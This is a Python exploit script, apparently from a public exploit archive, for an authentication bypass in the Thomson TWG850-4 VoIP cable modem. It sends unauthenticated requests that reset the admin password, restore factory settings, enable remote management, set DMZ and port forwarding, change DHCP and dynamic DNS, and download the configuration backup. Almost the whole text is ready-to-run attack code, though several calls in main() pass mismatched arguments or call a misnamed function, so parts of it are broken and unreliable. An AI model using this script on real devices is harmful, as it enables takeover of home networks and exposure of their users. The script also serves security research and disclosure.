# Exploit Title: Thomson Wireless VoIP Cable Modem Auth Bypass
# Date: February 22, 2011
# Author(s): Glafkos Charalambous, George Nicolaou
# Product: TWG850-4 Wireless VoIP Cable Modem
# Software Version: ST9A.01.06
# Severity: High
# Other Vulnerabilities: 
# Unauthenticated Backup File Access, 
# Plaintext Protocol succeptible to sniffing attacks

import argparse
import httplib
import urllib
import urllib2

def http_post( ip, port, request, params ):
    headers = {
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
        "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language":"en-us;en;q=0.5",
        "Accept-Encoding":"gzip, deflate",
        "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7",
        "Keep-Alive":"115",
        "Connection":"keep-alive",
        "Content-type":"application/x-www-form-urlencoded"
        }
    con = httplib.HTTPConnection(ip,port)
    con.request("POST", request, params, headers)
    response = con.getresponse()

def block_domain( ip, port, host ):
    http_post( ip,port,
         "/goform/RgUrlBlock",
               urllib.urlencode( {"cbDomainBlocking":"0x2","BasicParentalNewKeyword":0, "BasicParentalKeywordAction":0, "BasicParentalDomainList":0, "BasicParentalNewDomain":host,"BasicParentalDomainAction":1} )
               )
def block_keyword( ip, port, host ):
    http_post( ip,port,
         "/goform/RgUrlBlock",
               urllib.urlencode( {"cbKeywordBlocking":"0x1", "BasicParentalNewKeyword":host,"BasicParentalKeywordAction":1, "BasicParentalNewDomain":"0", "BasicParentralDomainAction":0} )
               )
        
def password_reset( ip, port, user="admin", passwd="admin" ):
    http_post(ip,port,
              "/goform/RgSecurity",
              urllib.urlencode({"HttpUserId":user, "Password":passwd, "PasswordReEnter":passwd, "RestoreFactoryYes":"0x00" })
              )

def factory_defaults( ip, port, user="admin", passwd="admin" ):
    http_post(ip,port,
              "/goform/RgSecurity",
              urllib.urlencode({"HttpUserId":user, "Password":passwd, "PasswordReEnter":passwd, "RestoreFactoryYes":"0x01" })
              )

def dhcp_config( ip, port, localip="10.1.0.1", localsub="255.255.255.0", leasepoolstart="10.1.0.10", leasepoolend="10.1.0.100" ):
    http_post(ip,port,
              "/goform/RgSetup",
              urllib.urlencode({"LocalIpAddressIP":localip, "LocalSubnetMask":localsub, "DhcpServerEnable":"0x1000", "DhcpLeasePoolStartLAN":leasepoolstart, "DhcpLeasePoolEndLAN":leasepoolend, "LeaseTime":"604800" })
              )

def dyn_dns( ip, port, dnsuser="user", dnspass="pass", dnshost="host.dyndns.org" ):
    http_post(ip,port,
              "/goform/RgDdns",
              urllib.urlencode({"DdnsService":1, "DdnsUserName":dnsuser, "DdnsPassword":dnspass, "DdnsHostName":dnshost })
              )

def sntp_set( ip, port, server1="clock.via.net", tserver2="ntp.nasa.gov", tserver3="tick.ucla.edu" ):
    http_post(ip,port,
              "/goform/RgTime",
              urllib.urlencode({"TimeSntpEnable":1, "TimeServer1":tserver1, "TimeServer2":tserver2, "TimeServer3":tserver3, "TimeZoneOffsetHrs":0, "TimeZoneOffsetMins":0, "ResetSntpDefaults":0 })
              )

def backup_config( ip, port, fName="GatewaySettings.bin" ):
    u = urllib2.urlopen('http://' + ip+":"+port + '/GatewaySettings.bin')
    lFile = open(fName, 'w')
    print "File "+fName+" saved successfully"
    lFile.write(u.read())
    lFile.close()

def remote_manage( ip, port, status ):
   if status == 'enable':
    http_post(ip,port,
        "/goform/RgOptions",
              urllib.urlencode({"cbIpsecPassThrough":"0x20", "cbPptpPassThrough":"0x40", "cbRemoteManagement":"0x80", "cbOptMulticast": "0x20000", "cbOptUPnP":"0x200000", "cbOptNatSipAlg":"0x89"})
              )  
   elif status == 'disable':
    http_post(ip,port,
              "/goform/RgOptions",
              urllib.urlencode({"cbIpsecPassThrough":"0x20", "cbPptpPassThrough":"0x40", "cbOptMulticast": "0x20000", "cbOptUPnP":"0x200000", "cbOptNatSipAlg":"0x89"})
              )
   else:
    print "The argument you specified is not accepted"

def dmz_set( ip, port, dmzhost ):
    http_post(ip,port,
              "/goform/RgDmzHost",
              urllib.urlencode({"DmzHostIP3":dmzhost})
              )

def port_forward( ip, port, localip, startport, endport ):
    http_post(ip,port,
              "/goform/RgForwarding",
              urllib.urlencode({"PortForwardAddressLocal1IP3":localip, "PortForwardPortGlobalStart1":startport , "PortForwardPortGlobalEnd1":endport , "PortForwardProtocol1":"254", "PortForwardEnable1":"0x01"  })
              )

def main():
   status = ['enable', 'disable']
   argp = argparse.ArgumentParser(description='Thomson Cable Modem Auth Bypass v0.1')
   argp.add_argument("-pr", "--password_reset", nargs=2, help="Reset Admin Account", metavar=("user","pass"))
   argp.add_argument("-fd", "--factory_default", nargs=2, help="Reset Factory Defaults", metavar=("user","pass"))
   argp.add_argument("-bk", "--block_keyword", help="Block Web Access based on Keyword(s)", metavar="keywrd1,keywrd2,...,keywrdN")
   argp.add_argument("-bd", "--block_domain", help="Block Web Access to Specific Domain(s)",metavar="domain1,domain2,...,domainN")
   argp.add_argument("-dc", "--dhcp_config", nargs=4, help="Configure DHCP Settings",metavar=("localip","localsub","leasepoolstart", "leasepoolend"))
   argp.add_argument("-dd", "--dyn_dns", nargs=3, help="Configure Dynamic DNS",metavar=("user", "pass", "host"))
   argp.add_argument("-ss", "--sntp_set", nargs=3, help="Configure SNTP Settings",metavar=("timeserver1", "timeserver2", "timeserver3"))
   argp.add_argument("-bg", "--backup_config", help="Download Backup Configuration", metavar=("filename"))
   argp.add_argument("-rm", "--remote_manage", help="Enable Remote Config Management", metavar=("enable/disable"))
   argp.add_argument("-ds", "--dmz_set", help="Set DMZ Host. Use last 3 digits for IP Address", metavar=("ip"))
   argp.add_argument("-pf", "--port_forward", nargs=3, help="Configure Port Forwarding", metavar=("ip", "startport", "endport"))
   argp.add_argument("IP", help="IP Address")
   argp.add_argument("PORT", help="Port Number")
   args = argp.parse_args()
   if(args.password_reset != None):
       password_reset( args.IP, args.password_reset[0], args.password_reset[1] )
   if(args.factory_default != None):
       factory_default( args.IP, args.factory_default[0], args.factory_default[1] )
   if(args.block_keyword != None):
       for keyword in args.block_keyword.split(","):
           block_keyword(args.IP, keyword)
   if(args.block_domain != None):
        for domain in args.block_domain.split(","):
            block_domain( args.IP, domain )
   if(args.dhcp_config != None):
       dhcp_config( args.IP, args.dhcp_config[0], args.dhcp_config[1], args.dhcp_config[2], args.dhcp_config[3] )
   if(args.dyn_dns != None):
       dyn_dns( args.IP, args.dyn_dns[0], args.dyn_dns[1], args.dyn_dns[2] )
   if(args.sntp_set != None):
       sntp_set( args.IP, args.sntp_set[0], args.sntp_set[1], args.sntp_set[2] )
   if(args.backup_config != None):
       backup_config( args.IP, args.backup_config )
   if(args.remote_manage != None):
       remote_manage( args.IP, args.PORT, args.remote_manage )
   if(args.dmz_set != None):
       dmz_set( args.IP, args.PORT, int( args.dmz_set ))
   if(args.port_forward != None):
       port_forward( args.IP, args.PORT, args.port_forward[0], args.port_forward[1], args.port_forward[2] )
 
if __name__ == "__main__":
    main()